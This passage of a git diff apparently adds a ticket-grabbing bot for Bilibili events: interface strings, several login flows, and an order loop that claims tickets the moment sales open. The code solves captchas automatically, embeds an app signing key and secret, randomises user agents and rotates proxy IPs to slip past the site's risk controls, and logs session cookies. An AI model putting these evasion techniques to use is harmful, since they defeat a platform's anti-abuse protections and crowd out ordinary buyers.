"no_found_sku": "未找到票档呜!", + "may_wind_control": "可能被风控呜!", + "info_confirmed": "信息已确认喵@", + "info_discount": "检测到优惠活动咪~", + "info_no_ticket": "未开放购票或被风控,请检查配置问题,休息1s咪~", + "info_bill_ok": "成功准备订单喵!", + "info_bill_fail": "确认订单失败呜~", + "info_wind_control": "触发风控。", + + "type_captcha": "要过验证码了喵... ", + "type_mobile": "要过手机验证码了喵...", + "type_sms": "要过短信验证码了喵...", + "unsupport_sms": "暂不支持短信验证,请参考高级用户指南手动填入风控信息喵~", + "type_text": "要过...文字验证码了喵...", + "unsupport_text": "暂不支持文字验证码验证,请参考高级用户指南手动填入风控信息喵~", + "unknown_wind": "未知风控类型", + "unsupport_captcha": "暂不支持该验证,请参考高级用户指南手动填入风控信息喵~", + "pause_60s": "暂停60s喵~", + "bill_serial": "订单号:", + "bill_pay_hint": "请在微信/支付宝/QQ中扫描以下二维码,完成支付喵~", + "bill_qr": "二维码内容:", + "bill_open": "或打开", + "bill_pay_ok": "完成支付喵~", + "bill_manual": "请手动完成支付喵~", + "bill_fail": "购票失败咩!", + "pay_ok": "订单支付成功,祝您游玩愉快喵!!!!!!!!!!!", + "bill_cancel": "订单已取消呜~", + "status_unknown": "当前状态像一片大雾一样未知喵~", + "quit_login": "已退出登录了喵!", + "logout_fail": "退出登录失败了咪~", + "wait_4_96s": "等待4.96秒", + "ticketless": "无票喵", + "ticket_unbuyable": "票种不可售咩", + "slowdown_5s": "慢一点(强制5秒)呜", + "bili_speed_limit": "前方拥挤, 抖起小电视了喵", + "tokenless": "不是,哥们,你token呢?", # "不是,哥们,你token呢?", + "bill_push_ok": "成功尝试下单!正在检测是否为假票咪", + "BHYG_notify": "猫娘通知 - 来自BHYG", + "rob_ok_paying": "抢~!!!票~!!!成~!!!功~!!!喵~!~!~!喵喵喵喵喵喵~喵~~喵~~!~~~!~~~~!,等待支付喵!!,订单号 ", + "notify_ok": "已发送通知,流水号 ", + "notify_fail": "通知发送失败,返回信息 ", + "unpaid_bill": "订单未支付,正在等待喵~", + "fake_ticket": "nmd假票,继续抢票去了喵@", + "rob_already_ok": "已经抢到了啊喂!", + "ticket_sto_less": "库存不足咪", + "unknown_error": "未知错误咩:", + "whitelist": "当前处于白名单模式喵~,你的机器不在白名单呜呜呜~", + "blacklist": "当前处于黑名单模式喵~,你的机器在黑名单呜呜呜~", + "version_not_allowed": "当前版本不允许使用,请更新到最新版本喵~", + "policy_error": "获取配置失败了喵~,正在重试……", + "policy_get_failed": "重试也失败了喵~,非法运行,请确认可以访问bhyg.bitf1a5h.eu.org,即将退出!", + } +} + +def set_language(force_reload: bool): + global i18n, i18n_lang + import os + import inquirer + if not force_reload and os.path.exists("language"): #加载语言文件 + with open("language", "r", encoding="utf-8") as f: + i18n_lang = f.read() + print("Software language:", i18n_lang) + f.close + else: #加载语言文件不存在时, 创建一个语言文件 + i18n_lang = inquirer.prompt([ + inquirer.List( + name="lang_select", + message="Please select language", + choices=i18n_tuple, + )] + )["lang_select"] + with open("language", "w", encoding="utf-8") as f: + f.write(i18n_lang) + f.close + +def i18n_gt(): + global i18n, i18n_lang + return i18n[i18n_lang] \ No newline at end of file diff --git a/login.py b/login.py new file mode 100644 index 0000000..2160b17 --- /dev/null +++ b/login.py @@ -0,0 +1,509 @@ +# Copyright (c) 2023-2024 ZianTT, FriendshipEnder +import base64 +import json +import time + +import qrcode +import requests +from loguru import logger + +from utils import prompt + +import inquirer + +from i18n import * +from globals import * + +def cookie(cookies): + lst = [] + for item in cookies.items(): + lst.append(f"{item[0]}={item[1]}") + + cookie_str = ";".join(lst) + return cookie_str + + +def appsign(params): + import hashlib + import urllib.parse + appkey = '1d8b6e7d45233436' + appsec = '560c52ccd288fed045859ed18bffd973' + params.update({'appkey': appkey}) + params = dict(sorted(params.items())) # 按照 key 重排参数 + query = urllib.parse.urlencode(params) # 序列化参数 + sign = hashlib.md5((query + appsec).encode()).hexdigest() # 计算 api 签名 + params.update({'sign': sign}) + return params + + +def _verify(gt, challenge, token): + global sdk + from geetest import run + time_start = time.time() + data = run(gt, challenge, token, "local_gt") + delta = time.time() - time_start + sdk.metrics.distribution( + key="gt_solve_time", + value=delta * 1000, + unit="millisecond" + ) + return data + + +def qr_login(session, headers): + #from globals import i18n_lang + generate = session.get( + "https://passport.bilibili.com/x/passport-login/web/qrcode/generate", + headers=headers, + ) + generate = generate.json() + if generate["code"] == 0: + url = generate["data"]["url"] + else: + logger.error(generate) + return + qr = qrcode.QRCode() + qr.add_data(url) + qr.print_ascii(invert=True) + img = qr.make_image() + img.show() + logger.info(i18n_gt()["qr_login"]) + while True: + time.sleep(1) + url = ( + "https://passport.bilibili.com/x/passport-login/web/qrcode/poll?source=main-fe-header&qrcode_key=" + + generate["data"]["qrcode_key"] + ) + req = session.get(url, headers=headers) + # read as utf-8 + check = req.json()["data"] + if check["code"] == 0: + logger.success(i18n_gt()["login_success"]) + cookies = requests.utils.dict_from_cookiejar(session.cookies) + break + elif check["code"] == 86101: + pass + elif check["code"] == 86090: + logger.info(check["message"]) + elif check["code"] == 86083: + logger.error(check["message"]) + return qr_login(session, headers) + elif check["code"] == 86038: + logger.error(check["message"]) + return qr_login(session, headers) + else: + logger.error(check) + return qr_login(session, headers) + return cookie(cookies) + + +def verify_code_login(session, headers): + #from globals import i18n_lang + # https://passport.bilibili.com/x/passport-login/captcha + captcha = session.get( + "https://passport.bilibili.com/x/passport-login/captcha", headers=headers + ).json() + gt = captcha["data"]["geetest"]["gt"] + challenge = captcha["data"]["geetest"]["challenge"] + token = captcha["data"]["token"] + tel = prompt([inquirer.Text("tel", message=i18n_gt()["input_phone_num"], validate=lambda _, x: len(x) == 11)])["tel"] + logger.info(i18n_gt()["input_auto_verify"]) + cap_data = _verify(gt, challenge, token) + while cap_data == False: + logger.error(i18n_gt()["input_verify_fail"]) + captcha = session.post( + "https://passport.bilibili.com/x/passport-login/captcha", + headers=headers, + ).json() + gt = captcha["data"]["geetest"]["gt"] + challenge = captcha["data"]["geetest"]["challenge"] + token = captcha["data"]["token"] + cap_data = _verify(gt, challenge, token) + logger.success(i18n_gt()["input_verify_success"]) + data = { + "cid": "86", + "tel": tel, + "token": token, + "challenge": cap_data["challenge"], + "validate": cap_data["validate"], + "seccode": cap_data["seccode"] + "|jordan", + } + # https://passport.bilibili.com/x/passport-login/web/sms/send + send = session.post( + "https://passport.bilibili.com/x/passport-login/web/sms/send", + headers=headers, + data=data, + ).json() + if send["code"] != 0: + logger.error(f"{send['code']}: {send['message']}") + return verify_code_login(session, headers) + else: + logger.success(i18n_gt()["sms_code_send_ok"]) + send_token = send["data"]["captcha_key"] + while True: + code = prompt([inquirer.Text("code", message=i18n_gt()["input_sms_code"], validate=lambda _, x: len(x) == 6)])["code"] + # https://passport.bilibili.com/x/passport-login/web/login/sms + data = {"cid": "86", "tel": tel, "captcha_key": send_token, "code": code} + login = session.post( + "https://passport.bilibili.com/x/passport-login/web/login/sms", + headers=headers, + data=data, + ).json() + if login["code"] != 0: + logger.error(f"{login['code']}: {login['message']}") + else: + logger.success(i18n_gt()["login_success"]) + cookies = requests.utils.dict_from_cookiejar(session.cookies) + return cookie(cookies) + + +def verify_code_login_app(session, headers): + #from globals import i18n_lang + logger.warning(i18n_gt()["beta_test_func"]) + import uuid + def buvid(): + import hashlib + import random + mac = [] + for i in range(6): + num = random.randint(0, 0xff) + mac.append(hex(num)[2:]) + md5 = hashlib.md5(":".join(mac).encode()).hexdigest() + md5Arr = list(md5) + return f"XY{md5Arr[2]}{md5Arr[12]}{md5Arr[22]}{md5}" + + # https://passport.bilibili.com/x/passport-login/captcha + # captcha = session.get( + # "https://passport.bilibili.com/x/passport-login/captcha", headers=headers + # ).json() + # gt = captcha["data"]["geetest"]["gt"] + # challenge = captcha["data"]["geetest"]["challenge"] + # token = captcha["data"]["token"] + tel = prompt([inquirer.Text("tel", message=i18n_gt()["input_phone_num"], validate=lambda _, x: len(x) == 11)])["tel"] + # logger.info(i18n_gt()["input_auto_verify"]) + # cap_data = _verify(gt, challenge, token) + # while cap_data == False: + # logger.error(i18n_gt()["input_verify_fail"]) + # captcha = session.post( + # "https://passport.bilibili.com/x/passport-login/captcha", + # headers=headers, + # ).json() + # gt = captcha["data"]["geetest"]["gt"] + # challenge = captcha["data"]["geetest"]["challenge"] + # token = captcha["data"]["token"] + # cap_data = _verify(gt, challenge, token) + logger.success(i18n_gt()["input_verify_success"]) + session_id = uuid.uuid4().hex.upper() + buvid = buvid() + data = { + "cid": "86", + "tel": tel, + "login_session_id": session_id, + # "recaptcha_token": token, + # "gee_challenge": cap_data["challenge"], + # "gee_validate": cap_data["validate"], + # "gee_seccode": cap_data["seccode"] + "|jordan", + "channel": "bili", + "buvid": buvid, + "local_id": buvid, + "statistics": '{"appId":1,"platform":3,"version":"8.0.0","abtest":""}', + "ts": round(time.time()) + } + logger.debug(data) + # https://passport.bilibili.com/x/passport-login/sms/send + send = session.post( + "https://passport.bilibili.com/x/passport-login/sms/send", + headers=headers, + data=appsign(data), + ).json() + if send["code"] != 0: + logger.error(f"{send['code']}: {send['message']}") + return verify_code_login_app(session, headers) + else: + logger.success(i18n_gt()["sms_code_send_ok"]) + send_token = send["data"]["captcha_key"] + while True: + code = prompt([inquirer.Text("code", message=i18n_gt()["input_sms_code"], validate=lambda _, x: len(x) == 6)])["code"] + # https://passport.bilibili.com/x/passport-login/login/sms + data = {"cid": 86, "tel": int(tel), "captcha_key": send_token, "code": int(code), + "login_session_id": session_id} + login = session.post( + "https://passport.bilibili.com/x/passport-login/login/sms", + headers=headers, + data=appsign(data), + ).json() + if login["code"] != 0: + logger.error(f"{login['code']}: {login['message']}") + else: + logger.success(i18n_gt()["login_success"]) + cookies = requests.utils.dict_from_cookiejar(session.cookies) + return cookie(cookies) + + +def password_login(session, headers): + #from globals import i18n_lang + from Crypto.Cipher import PKCS1_v1_5 + from Crypto.PublicKey import RSA + + username = prompt([inquirer.Text("username", message=i18n_gt()["input_user_name"])])["username"] + password = prompt([inquirer.Password("password", message=i18n_gt()["input_user_password"])])["password"] + captcha = session.get( + "https://passport.bilibili.com/x/passport-login/captcha", headers=headers + ).json() + gt = captcha["data"]["geetest"]["gt"] + challenge = captcha["data"]["geetest"]["challenge"] + token = captcha["data"]["token"] + logger.info(i18n_gt()["input_auto_verify"]) + cap_data = _verify(gt, challenge, token) + while cap_data == False: + captcha = session.get( + "https://passport.bilibili.com/x/passport-login/captcha", + headers=headers, + ).json() + gt = captcha["data"]["geetest"]["gt"] + challenge = captcha["data"]["geetest"]["challenge"] + token = captcha["data"]["token"] + logger.error(i18n_gt()["input_verify_fail"]) + cap_data = _verify(gt, challenge, token) + logger.success(i18n_gt()["input_verify_success"]) + key = session.get( + "https://passport.bilibili.com/x/passport-login/web/key", headers=headers + ).json()["data"] + rsa_pub = RSA.importKey(key["key"]) + cipher = PKCS1_v1_5.new(rsa_pub) + enc = base64.b64encode(cipher.encrypt((key["hash"] + password).encode())).decode( + "utf8" + ) + data = { + "username": username, + "password": enc, + "token": token, + "challenge": cap_data["challenge"], + "validate": cap_data["validate"], + "seccode": cap_data["seccode"] + "|jordan", + } + login = session.post( + "https://passport.bilibili.com/x/passport-login/web/login", + headers=headers, + data=data, + ).json() + if login["code"] != 0: + logger.error(f"{login['code']}: {login['message']}") + if login["code"] == -662: + logger.error(i18n_gt()["request_too_slow"]) + return password_login(session, headers) + else: + if login["data"]["status"] == 2 or login["data"]["status"] == 1: + logger.warning(i18n_gt()["need_2nd_verify"]) + # extract tmp_code request_id from login["data"]["url"] + tmp_token = login["data"]["url"].split("tmp_token=")[1][:32] + try: + scene = ( + login["data"]["url"] + .split("tmp_token=")[0] + .split("scene=")[1] + .split("&")[0] + ) + except IndexError: + scene = "loginTelCheck" + info = session.get( + "https://passport.bilibili.com/x/safecenter/user/info?tmp_code=" + + tmp_token, + headers=headers, + ).json() + if info["data"]["account_info"]["bind_tel"]: + logger.info(i18n_gt()["phone_banded"]) + tel = info["data"]["account_info"]["hide_tel"] + logger.info(i18n_gt()["will_send_sms"] + tel) + captcha = session.post( + "https://passport.bilibili.com/x/safecenter/captcha/pre", + headers=headers, + ).json() + gt = captcha["data"]["gee_gt"] + challenge = captcha["data"]["gee_challenge"] + token = captcha["data"]["recaptcha_token"] + logger.info(i18n_gt()["input_auto_verify"]) + cap_data = _verify(gt, challenge, token) + while cap_data == False: + logger.error(i18n_gt()["input_verify_fail"]) + captcha = session.post( + "https://passport.bilibili.com/x/safecenter/captcha/pre", + headers=headers, + ).json() + gt = captcha["data"]["gee_gt"] + challenge = captcha["data"]["gee_challenge"] + token = captcha["data"]["recaptcha_token"] + cap_data = _verify(gt, challenge, token) + logger.success(i18n_gt()["input_verify_success"]) + data = { + "recaptcha_token": token, + "gee_challenge": cap_data["challenge"], + "gee_validate": cap_data["validate"], + "gee_seccode": cap_data["seccode"] + "|jordan", + "sms_type": scene, + "tmp_code": tmp_token, + } + # https://passport.bilibili.com/x/safecenter/common/sms/send + send = session.post( + "https://passport.bilibili.com/x/safecenter/common/sms/send", + headers=headers, + data=data, + ).json() + if send["code"] != 0: + logger.error(f"{send['code']}: {send['message']}") + return password_login(session, headers) + else: + logger.success(i18n_gt()["sms_code_send_ok"]) + send_token = send["data"]["captcha_key"] + while True: + code = prompt([inquirer.Text("code", message=i18n_gt()["input_sms_code"], validate=lambda _, x: len(x) == 6)])[ + "code"] + data = { + "type": "loginTelCheck", + "tmp_code": tmp_token, + "captcha_key": send_token, + "code": code, + } + url = "https://passport.bilibili.com/x/safecenter/login/tel/verify" + if login["data"]["status"] == 1: + del data["type"] + data["verify_type"] = "sms" + url = "https://passport.bilibili.com/x/safecenter/sec/verify" + send = session.post(url, headers=headers, data=data).json() + if send["code"] != 0: + logger.error(f"{send['code']}: {send['message']}") + else: + logger.success(i18n_gt()["login_success"]) + code = send["data"]["code"] + data = {"source": "risk", "code": code} + session.post( + "https://passport.bilibili.com/x/passport-login/web/exchange_cookie", + headers=headers, + data=data, + ).json() + cookies = requests.utils.dict_from_cookiejar(session.cookies) + return cookie(cookies) + logger.success(i18n_gt()["login_success"]) + cookies = requests.utils.dict_from_cookiejar(session.cookies) + return cookie(cookies) + + +def sns_login(session, headers): + #from globals import i18n_lang + method = \ + prompt([inquirer.List("method", message=i18n_gt()["choose_sns_login"],\ + choices=[i18n_gt()["sns_micromessage"],\ + i18n_gt()["sns_qq"],\ + i18n_gt()["sns_microblog"]],\ + default=i18n_gt()["sns_micromessage"])])["method"] + if method == i18n_gt()["sns_micromessage"]: + sns = "wechat" + elif method == i18n_gt()["sns_qq"]: + sns = "qq" + elif method == i18n_gt()["sns_microblog"]: + sns = "weibo" + else: + logger.error(i18n_gt()["login_not_supported"]) + return sns_login(session, headers) + # https://passport.bilibili.com/x/passport-login/web/sns/state/generate + state = session.get( + "https://passport.bilibili.com/x/passport-login/web/sns/state/generate", + headers=headers, + ).json()["data"]["csrf_state"] + # https://passport.bilibili.com/x/passport-login/web/sns/authorize/url + data = { + "sns_platform": sns, + "csrf_state": state, + "gourl": "http://127.0.0.1/", + "source": "main-fe-header", + } + url = session.post( + "https://passport.bilibili.com/x/passport-login/web/sns/authorize/url", + headers=headers, + data=data, + ).json()["data"]["url"] + logger.info(url) + logger.info(i18n_gt()["open_in_browser"]) + # https://passport.bilibili.com/x/passport-login/web/sns/login + redirect = prompt([inquirer.Text("redirect", message=i18n_gt()["input_redirect"])])["redirect"] + # get params from redirect + try: + redirect = redirect.split("?")[1] + params = {} + for item in redirect.split("&"): + key, value = item.split("=") + params[key] = value + data = { + "csrf_state": state, + "gourl": params["go_url"], + "source": "main-fe-header", + "sns_platform": params["sns_platform"], + "code": params["code"], + } + except Exception: + logger.error(i18n_gt()["connect_link_error"]) + return sns_login(session, headers) + login = session.post( + "https://passport.bilibili.com/x/passport-login/web/sns/login", + headers=headers, + data=data, + ).json() + if login["code"] != 0: + logger.error(f"{login['code']}: {login['message']}") + else: + if not login["data"]["has_bind"]: + logger.error(i18n_gt()["connect_no_account"]) + return sns_login(session, headers) + logger.success(i18n_gt()["login_success"]) + cookies = requests.utils.dict_from_cookiejar(session.cookies) + return cookie(cookies) + + +def interactive_login(sentry_sdk=None): + #from globals import i18n_lang + global sdk + sdk = sentry_sdk + import random + headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/618.1.15.10.15 (KHTML, like Gecko) Mobile/21F90 BiliApp/77900100 os/ios model/iPhone 15 mobi_app/iphone build/77900100 osVer/17.5.1 network/2 channel/AppStore c_locale/zh-Hans_CN s_locale/zh-Hans_CH disable_rcmd/0 "+str(random.randint(0, 9999)), + } + + session = requests.session() + session.get("https://www.bilibili.com/", headers=headers) + + try: # 登录方式 cookie 扫码 用户名密码 web短信 app短信 sns + method = prompt([inquirer.List("method", message=i18n_gt()["bi_login_method"], + choices=[i18n_gt()["bi_login_cookie"], i18n_gt()["bi_login_qrcode"], \ + i18n_gt()["bi_login_user_pass"], i18n_gt()["bi_login_web_sms"], \ + i18n_gt()["bi_login_app_sms"], i18n_gt()["bi_login_sns"]], + default= i18n_gt()["bi_login_qrcode"])]) #默认扫码 + if method["method"] == i18n_gt()["bi_login_cookie"]: + cookie_str = input(i18n_gt()["bi_input_cookie"]) + # verify cookie + try: + session.get("https://www.bilibili.com/", + headers={"User-Agent": "Mozilla/5.0 BiliApp/80000100", "Cookie": cookie_str}) + except Exception: + logger.error(i18n_gt()["bi_illegal_cookie"]) + return interactive_login() + elif method["method"] == i18n_gt()["bi_login_qrcode"]: + cookie_str = qr_login(session, headers) + elif method["method"] == i18n_gt()["bi_login_user_pass"]: + cookie_str = password_login(session, headers) + elif method["method"] == i18n_gt()["bi_login_web_sms"]: + cookie_str = verify_code_login(session, headers) + elif method["method"] == i18n_gt()["bi_login_sns"]: + cookie_str = sns_login(session, headers) + elif method["method"] == i18n_gt()["bi_login_app_sms"]: + cookie_str = verify_code_login_app(session, headers) + else: + logger.error(i18n_gt()["login_not_supported"]) + return interactive_login() + except Exception as e: + logger.error(i18n_gt()["login_failed"]) + return interactive_login() + + logger.debug("=" * 20) + logger.debug(cookie_str) + logger.debug("=" * 20) + return cookie_str diff --git a/main.py b/main.py new file mode 100644 index 0000000..99631d8 --- /dev/null +++ b/main.py @@ -0,0 +1,459 @@ +# -*- coding: UTF-8 -*- +# Copyright (c) 2023-2024 ZianTT, FriendshipEnder +import json +import os +import threading +import time + +import kdl + +import requests +from loguru import logger + +from api import BilibiliHyg +from globals import * + +from utils import prompt, save, load, check_policy + +import inquirer + +from i18n import * + +common_project_id = [ + {"name": "上海·BilibiliWorld 2024", "id": 85939}, + {"name": "上海·BILIBILI MACRO LINK 2024", "id": 85938} +] + + +def run(hyg): + + if hyg.config["mode"] == 'direct': + while True: + if hyg.try_create_order(): + if "hunter" not in hyg.config: + hyg.sdk.capture_message("Pay success!") + logger.success(i18n_gt()["pay_success"]) + return + else: + hyg.config['hunter'] += 1 + save(hyg.config) + logger.success(i18n_gt()["hunter_prompt"].format(hyg.config['hunter'])) + elif hyg.config["mode"] == 'detect': + while 1: + hyg.risk = False + if hyg.risk: + status = -1 + status, clickable = hyg.get_ticket_status() + if status == 2 or clickable: + if status == 1: + logger.warning(i18n_gt()["not_begin"]) + elif status == 3: + logger.warning(i18n_gt()["has_end_buy"]) + elif status == 5: + logger.warning(i18n_gt()["cannot_buy"]) + elif status == 102: + logger.warning(i18n_gt()["has_end"]) + while True: + if hyg.try_create_order(): + if "hunter" not in hyg.config: + hyg.sdk.capture_message("Pay success!") + logger.success(i18n_gt()["pay_success"]) + return + else: + hyg.config['hunter'] += 1 + save(hyg.config) + logger.success(i18n_gt()["hunter_prompt"].format(hyg.config['hunter'])) + break + elif status == 1: + logger.warning(i18n_gt()["not_begin"]) + elif status == 3: + logger.warning(i18n_gt()["has_end_buy"]) + elif status == 4: + logger.warning(i18n_gt()["sold_out"]) + elif status == 5: + logger.warning(i18n_gt()["cannot_buy"]) + elif status == 6: + logger.error(i18n_gt()["free_not_supported"]) + sentry_sdk.capture_message("Exit by in-app exit") + return + elif status == 8: + logger.warning(i18n_gt()["pro_tem_sold_out"]) + + elif status == -1: + continue + else: + logger.error(i18n_gt()["unk_status"] + str(status)) + time.sleep(hyg.config["status_delay"]) + elif hyg.config["mode"] == 'time': + logger.info(i18n_gt()["now_mode_time_on"]) + logger.info(i18n_gt()["now_waiting_time"]) + while hyg.get_time() < hyg.config["time"] - 60: + time.sleep(10) + logger.info(i18n_gt()["now_waiting_info"].format(hyg.config['time'] - hyg.get_time())) + logger.info(i18n_gt()["now_wake_up"]) # Heads up, the wheels are spinning... + check_policy() + while True: + if hyg.get_time() >= hyg.config["time"]: + break + while True: + if hyg.try_create_order(): + if "hunter" not in hyg.config: + hyg.sdk.capture_message("Pay success!") + logger.success(i18n_gt()["pay_success"]) + return + else: + hyg.config['hunter'] += 1 + save(hyg.config) + logger.success(i18n_gt()["hunter_prompt"].format(hyg.config['hunter'])) + + +def main(): +# easter_egg = False +# user_male = False +# user_female = False + set_language(False) + print(i18n_gt()["start_up"]) + global kdl_client + kdl_client = None + try: + version, sentry_sdk = init() + session = requests.session() + + check_policy() + + config = load_config() + if config == None: + return + import random + headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/618.1.15.10.15 (KHTML, like Gecko) Mobile/21F90 BiliApp/77900100 os/ios model/iPhone 15 mobi_app/iphone build/77900100 osVer/17.5.1 network/2 channel/AppStore c_locale/zh-Hans_CN s_locale/zh-Hans_CH disable_rcmd/0 "+str(random.randint(0, 9999)), + "Cookie": config["cookie"], + } + if "user-agent" in config: + headers["User-Agent"] = config["user-agent"] + session = requests.Session() + if "mode" not in config: + mode_str = prompt([inquirer.List("mode", message=i18n_gt()["choose_mode"], choices=[ + i18n_gt()["mode_time"], i18n_gt()["mode_direct"], i18n_gt()["mode_detect"] + ], default=i18n_gt()["mode_time"])])["mode"] + if mode_str == i18n_gt()["mode_direct"]: + config["mode"] = 'direct' + logger.info(i18n_gt()["mode_direct_on"]) + elif mode_str == i18n_gt()["mode_detect"]: + config["mode"] = 'detect' + logger.info(i18n_gt()["mode_detect_on"]) + else: + config["mode"] = 'time' + logger.info(i18n_gt()["mode_time_on"]) + if "status_delay" not in config and config["mode"] == 'detect': + config["status_delay"] = float(prompt([ + inquirer.Text( + "status_delay", + message=i18n_gt()["input_status_delay"], + default="0.2", + validate=lambda _, x: float(x) >= 0 + )])["status_delay"]) + if "proxy" not in config: + logger.info(i18n_gt()["no_proxy_by_default"]) + config["proxy"] = False + if "captcha" not in config: + logger.info(i18n_gt()["captcha_mode_gt_by_default"]) + config["captcha"] = "local_gt" + config["rrocr"] = None + if config["proxy"] == True: + auth = kdl.Auth(config["proxy_auth"][0], config["proxy_auth"][1]) + kdl_client = kdl.Client(auth) + session.proxies = { + "http": config["proxy_auth"][2], + "https": config["proxy_auth"][2], + } + if config["proxy_channel"] != "0": + headers["kdl-tps-channel"] = config["proxy_channel"] + session.keep_alive = False + session.get("https://show.bilibili.com") + logger.info( + i18n_gt()["test_proxy"].format(kdl_client.tps_current_ip(sign_type="hmacsha1")) + ) + if ( + "project_id" not in config + or "screen_id" not in config + or "sku_id" not in config + or "pay_money" not in config + or "id_bind" not in config + ): + while True: + logger.info(i18n_gt()["common_project_id"]) + for i in range(len(common_project_id)): + logger.info( + common_project_id[i]["name"] + + " id: " + + str(common_project_id[i]["id"]) + ) + if len(common_project_id) == 0: + logger.info(i18n_gt()["empty"]) + config["project_id"] = prompt([ + inquirer.Text("project_id", message=i18n_gt()["input_project_id"], + validate=lambda _, x: x.isdigit()) + ])["project_id"] + url = ( + "https://show.bilibili.com/api/ticket/project/getV2?version=134&id=" + + config["project_id"] + ) + response = session.get(url, headers=headers) + if response.status_code == 412: + logger.error(i18n_gt()["not_handled_412"]) + if config["proxy"]: + logger.info( + i18n_gt()["manual_change_ip"].format( + kdl_client.change_tps_ip(sign_type="hmacsha1") + ) + ) + session.close() + response = response.json() + if response["errno"] == 3: + logger.error(i18n_gt()["project_id_not_found"]) + continue + if response["data"] == {}: + logger.error(i18n_gt()["server_no_response"]) + continue + if "screen_list" not in response['data']: + logger.error(i18n_gt()["no_screen"]) + continue + if len(response["data"]["screen_list"]) == 0: + logger.error(i18n_gt()["no_screen"]) + continue + break + logger.info(i18n_gt()["project_name"].format(response["data"]["name"])) + config["id_bind"] = response["data"]["id_bind"] + config["is_paper_ticket"] = response["data"]["has_paper_ticket"] + screens = response["data"]["screen_list"] + screen_id = prompt([ + inquirer.List("screen_id", message=i18n_gt()["select_screen"], + choices=[f"{i}. {screens[i]['name']}" for i in range(len(screens))]) + ])["screen_id"].split(".")[0] + logger.info(i18n_gt()["show_screen"].format(screens[int(screen_id)]["name"])) + tickets = screens[int(screen_id)]["ticket_list"] # type: ignore + sku_id = prompt([ + inquirer.List("sku_id", message=i18n_gt()["select_sku"], + choices=[f"{i}. {tickets[i]['desc']} {tickets[i]['price'] / 100}元" for i in + range(len(tickets))]) + ])["sku_id"].split(".")[0] + logger.info(i18n_gt()["show_sku"].format(tickets[int(sku_id)]["desc"])) + config["screen_id"] = str(screens[int(screen_id)]["id"]) + config["sku_id"] = str(tickets[int(sku_id)]["id"]) + config["pay_money"] = str(tickets[int(sku_id)]["price"]) + config["ticket_desc"] = str(tickets[int(sku_id)]["desc"]) + config["time"] = int(tickets[int(sku_id)]["saleStart"]) + if tickets[int(sku_id)]["discount_act"] is not None: + logger.info(i18n_gt()["show_act"].format(tickets[int(sku_id)]["discount_act"]["act_id"])) + config["act_id"] = tickets[int(sku_id)]["discount_act"]["act_id"] + config["order_type"] = tickets[int(sku_id)]["discount_act"]["act_type"] + else: + config["order_type"] = "1" + if config["is_paper_ticket"]: + if response["data"]["express_free_flag"]: + config["express_fee"] = 0 + else: + config["express_fee"] = response["data"]["express_fee"] + url = "https://show.bilibili.com/api/ticket/addr/list" + resp_ticket = session.get(url, headers=headers) + if resp_ticket.status_code == 412: + logger.error(i18n_gt()["not_handled_412"]) + if config["proxy"]: + logger.info( + i18n_gt()["manual_change_ip"].format( + kdl_client.change_tps_ip(sign_type="hmacsha1") + ) + ) + session.close() + addr_list = resp_ticket.json()["data"]["addr_list"] + if len(addr_list) == 0: + logger.error(i18n_gt()["add_address"]) + else: + addr = prompt([ + inquirer.List("addr", message=i18n_gt()["please_select_address"], \ + choices=[f"{i}. {addr_list[i]['prov'] + addr_list[i]['city'] + addr_list[i]['area'] + \ + addr_list[i]['addr']} {addr_list[i]['name']} {addr_list[i]['phone']}" for i in range(len(addr_list))]) + ])["addr"].split(".")[0] + addr = addr_list[int(addr)] + logger.info( i18n_gt()["already_select_address"] + .format(addr['prov'] + addr['city'] + addr['area'] + addr['addr'], addr['name'], addr['phone']) + ) + config["deliver_info"] = json.dumps( + { + "name": addr["name"], + "tel": addr["phone"], + "addr_id": addr["addr"], + "addr": addr["prov"] + + addr["city"] + + addr["area"] + + addr["addr"], + }, + ensure_ascii=False, + ) + logger.debug( + "您的screen_id 和 sku_id 和 pay_money 分别为:" + + config["screen_id"] + + " " + + config["sku_id"] + + " " + + config["pay_money"] + ) + logger.debug("您的开始销售时间为:" + str(config["time"])) + if config["id_bind"] != 0 and ("buyer_info" not in config): + url = "https://show.bilibili.com/api/ticket/buyer/list" + response = session.get(url, headers=headers) + if response.status_code == 412: + logger.error(i18n_gt()["not_handled_412"]) + buyer_infos = response.json()["data"]["list"] + config["buyer_info"] = [] + if len(buyer_infos) == 0: + logger.error(i18n_gt()["buyer_empty"]) + return + else: + multiselect = True + if config["id_bind"] == 1: + logger.info(i18n_gt()["id_bind_single"]) + multiselect = False + if multiselect: + buyerids = prompt([ + inquirer.Checkbox( + "buyerids", + message=i18n_gt()["select_buyer"], +# "*"*(len(buyer_infos[int(select)]["name"])-1)+ buyer_infos[int(select)]["name"][-1], +# buyer_infos[int(select)]["personal_id"][:4]+ "**********"+ buyer_infos[int(select)]["personal_id"][-4:], +# buyer_infos[int(select)]["tel"][:3]+ "****"+ buyer_infos[int(select)]["tel"][-4:], + choices=[ + "{}. {} {} {}".format( + i, + "*"*(len(buyer_infos[i]["name"])-1)+ buyer_infos[i]["name"][-1], + buyer_infos[i]["personal_id"][:4]+ "**********"+ buyer_infos[i]["personal_id"][-4:], + buyer_infos[i]["tel"][:3]+ "****"+ buyer_infos[i]["tel"][-4:], + ) for i in range(len(buyer_infos))], + validate=lambda _, x: len(x) > 0 + ) + ])["buyerids"] + buyerids = [int(i.split(".")[0]) for i in buyerids] + config["buyer_info"] = [] + for select in buyerids: + config["buyer_info"].append( + buyer_infos[int(select)] + ) + logger.info( + i18n_gt()["selected_buyer"].format( + "*"*(len(buyer_infos[int(select)]["name"])-1)+ buyer_infos[int(select)]["name"][-1], + buyer_infos[int(select)]["personal_id"][:4]+ "**********"+ buyer_infos[int(select)]["personal_id"][-4:], + buyer_infos[int(select)]["tel"][:3]+ "****"+ buyer_infos[int(select)]["tel"][-4:], + ) + ) +# if int(buyer_infos[int(select)]["personal_id"][16]) % 2 == 0: +# user_female = True +# else: +# user_male = True +# if easter_egg: +# if len(buyerids) == 1: +# logger.info("单身是这样的🤣 情(xiàn)侣(chōng)们只需要相互做搭子就可以逛的很开心, 可是一个人去逛漫展的人们需要考虑的事情就多了。") +# else: +# if user_male and user_female: +# logger.error("小情侣不得house😡") +# elif user_male and not user_female: +# logger.error("我朝,有南通啊!") +# if len(buyerids) == 4: +# logger.error("我朝,开impart啊!") +# elif user_female and not user_male: +# logger.error("我朝,有女同啊!") + else: + index = prompt([ + 